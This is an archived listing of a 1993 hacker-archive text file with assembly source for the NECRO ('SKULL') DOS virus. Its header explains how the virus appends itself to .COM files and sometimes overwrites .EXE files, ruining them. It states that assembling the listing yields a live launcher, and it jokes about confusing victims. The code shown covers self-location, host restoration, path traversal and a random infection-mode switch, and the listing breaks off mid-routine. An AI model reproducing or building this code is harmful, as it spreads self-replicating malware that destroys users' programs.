home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / NECRO.A86 < prev    next >
Text File  |  1993-01-04  |  22KB  |  396 lines

  1. ; A86 SOURCE CODE for:
  2. ;
  3. ;          ++===================================================++
  4. ;          ||           NECRO (A.K.A. 'SKULL' virus)            ||
  5. ;          ||           The 666 byte Dual Replicator            ||
  6. ;          ||     DEC 1992 by Primal Fury, Lehigh Valley, PA    ||
  7. ;          ++===================================================++
  8. ;                   -=Prepared for Crypt Newsletter 11=-
  9. ;
  10. ; Here's a virus that's actually two viruses in one.  The main virus is a
  11. ; a direct action, appending .COM infector.  It will search the system path
  12. ; for .COMs to infect, and may infect files on the path in preference to 
  13. ; to those in the current directory (if no path is set, it stays in the
  14. ; current directory).  Roughly one out of every eight infections (on a ran-
  15. ; dom basis) will be non-standard.  In these infections, NECRO will toggle to 
  16. ; an overwriting .EXE infector.  
  17. ;   
  18. ;  
  19. ; This .EXE infector is composed of much of the same code as the 
  20. ; COM infector -- the virus alternates between the two modes of infection 
  21. ; using a 'master switch' which is hooked up to a simple randomization 
  22. ; engine.  The master switch, when thrown, trips a series of auxilliary
  23. ; switches which alter the virus' behavior.  This saves on bytes and is 
  24. ; therefore much better than having the virus drop an entirely independent
  25. ; .EXE overwriter.  I hope to expand upon this 'self-programming' concept
  26. ; in future viruses.
  27.   
  28. ; Infected .COM's should function as intended after the viral code appended to 
  29. ; them has finished doing its thing. But infected .EXE's are ruined.  These 
  30. ; (provided they are under about 64K in length) will, when executed, pass 
  31. ; their illness on to the next uninfected .EXE within the current directory, 
  32. ; displaying the following graphic & message:
  33.  
  34. ;   ▄▄████████▄▄           
  35. ; ▄█████▓████████        
  36. ;▐█▓█████████████▌   You cant execute this file:         
  37. ;▐█████▓▓███▀   █    Its already dead!           
  38. ; ██████▓▓██▄▄▄█▀          
  39. ;  ████▓▓▀▓████▌           
  40. ;   ▀▀██▓▓▄▐▓███▌          
  41. ;           ▓▓▌▌▌              
  42.  
  43. ; SKULL will then return the baffled user to the DOS prompt. I leave it to  
  44. ; your imagination to picture the consternation on the novice's face 
  45. ; as he tries to isolate the source of this overwriting infection which 
  46. ; seems to pop up again and again in different directories.  A very 
  47. ; observant user may notice a file length increase of exactly 666 bytes in 
  48. ; infected .COM's.  Infected .EXE's will not increase in length unless they  
  49. ; are less than ~200 bytes to begin with.  Note that overwritten .EXE's larger  
  50. ; than 64K will fail to load and will be non-infectious. Like Popoolar 
  51. ; Science, the virus renders these programs into a .COM-like in structure. 
  52. ; DOS will NOT execute these files.  In any case, the programs are ruined  
  53. ; by SKULL.  As of this release, NECRO avoids files that are read-only or 
  54. ; hidden, so these files are be safe from the virus (for now...)
  55.   
  56. ; CREDITS:  DARK ANGEL   --  for his COM infector replicatory code. (D.A.)  
  57. ;           NOWHERE MAN  --  for his VCL 1.0's path-searching routine. (N.M.)
  58. ;           
  59. ;  
  60. ; Except where noted, I have commented the code with the novice 
  61. ; programmer in mind.  In the places so noted, D.A.'s and N.M.'s com-
  62. ; ments, supplied from VCL 1.0 and PS-MPC assembly libraries, have been 
  63. ; left intact.
  64.  
  65. ; To assemble, use Isaacson's A86 to generate a .COMfile directly from
  66. ; this listing.  You will have a live NECRO launcher. MASM/TASM
  67. ; compatible assemblers will require the addition of a declarative pair.
  68. ;
  69. ; Partial viral signature suitable for loading into TBScan's VIRSCAN.DAT,
  70. ; SCAN, or F-PROT 2.0x:
  71. ; [Necro]
  72. ; A9 01 00 74 29 E8 6A 00 8C C8 8E D8 8E C0 32 C0  
  73.  
  74.   
  75.   Start:  db      0e9h     ; jump to find_start
  76.           dw      0
  77.   Find_start:  call    next              ;common technique to allow virus to
  78.   next:   pop     bp                     ;find its own code.  On exit, bp
  79.           sub     bp, offset next        ;points to start of code.
  80.           lea     si, [bp+offset stuff]  ;Prepare to restore orig. 3 bytes.
  81.           mov     di, 100h               ;push 100h, where all COMs start in
  82.           push    di                     ;memory, & where control will be
  83.                                          ;returned to host file.
  84.           movsw                          ;restore the 3 bytes formerly relo-
  85.           movsb                          ;cated by the virus upon infection.
  86.           mov     di,bp                  ;point DI to start of virus.
  87.           lea     dx, [bp+offset dta]    ;set new Disk Transfer Address, so
  88.           call    set_dta                ;virus won't fuck up original.
  89.           call    search_files           ;call path-search/infection routine.
  90.           jmp     quit                   ;when done, return control to 
  91.                                          ;host file.
  92.           
  93.   ;Nowhere Man's VCL 1.0 path search routine, slightly modified for 
  94.   ;compatibility with Dark Angel's code, and with 'master infection-mode 
  95.   ;switch' added.  N.M.'s original comments have been retained for your 
  96.   ;enlightenment.    
  97.  
  98. search_files:
  99.           mov     bx,di                   ; BX points to the virus
  100.           push    bp                      ; Save BP
  101.           mov     byte ptr [bp+offset pathstore],'\'  ;Start with a backslash
  102.           mov     ah,047h                 ; DOS get current dir function
  103.           xor     dl,dl                   ; DL holds drive # (current)
  104.           lea     si,[bp+offset pathstore+1] ; SI points to 64-byte buffer
  105.           int     021h
  106.           call    traverse_path           ; Start the traversal
  107.  
  108. traversal_loop: 
  109.           cmp     word ptr [bx + path_ad],0     ; Was the search unsuccessful?
  110.           je      done_searching          ; If so then we're done
  111.           call    found_subdir            ; Otherwise copy the subdirectory
  112.           mov     ax,cs                   ; AX holds the code segment
  113.           mov     ds,ax                   ; Set the data and extra
  114.           mov     es,ax                   ; segments to the code segment
  115.           xor     al,al                   ; Zero AL
  116.           stosb                           ; NULL-terminate the directory
  117.           mov     ah,03Bh                 ; DOS change directory function
  118.           lea     dx,[bp+offset pathstore+65] ; DX points to the directory
  119.           int     021h
  120.                                                                     
  121.           ;The Master Switch, tied whimsically to the system clock:
  122.  
  123.           mov     ah,2ch                  ;DOS get system time.                      
  124.           int     21h                     ;        
  125.           cmp     dl,13                   ;is 1/100th second > 13?
  126.           jg      call_infector           ;if so, stay in COM infector
  127.                                           ;mode (the default).
  128.           mov     si,3                    ;throw switch for EXE infect.
  129.  
  130.           ;back to Nowhere Man's code:
  131.  
  132. call_infector:  
  133.           push    di
  134.           call    find_files              ; Try to infect a file.
  135.           pop     di
  136.           jnc     done_searching          ; If successful, exit
  137.           jmp     short traversal_loop    ; Keep checking the PATH
  138.  
  139. done_searching: 
  140.           mov     ah,03Bh                 ; DOS change directory function
  141.           lea     dx,[bp+offset pathstore]   ; DX points to old directory
  142.           int     021h
  143.           cmp     word ptr [bx + path_ad],0  ; Did we run out of directories?
  144.           jne     at_least_tried          ; If not, exit
  145.           stc                             ; Set carry flag for failure
  146.  
  147. at_least_tried: 
  148.           pop     bp                      ; Restore BP
  149.           ret                             ; Return to caller
  150.  
  151. com_mask        db      "*.COM",0               ; Mask for all .COM files
  152.  
  153.  
  154. traverse_path:   
  155.           mov     es,word ptr cs:[002Ch]  ; ES holds the enviroment segment
  156.           xor     di,di                   ; DI holds the starting offset
  157.  
  158. find_pa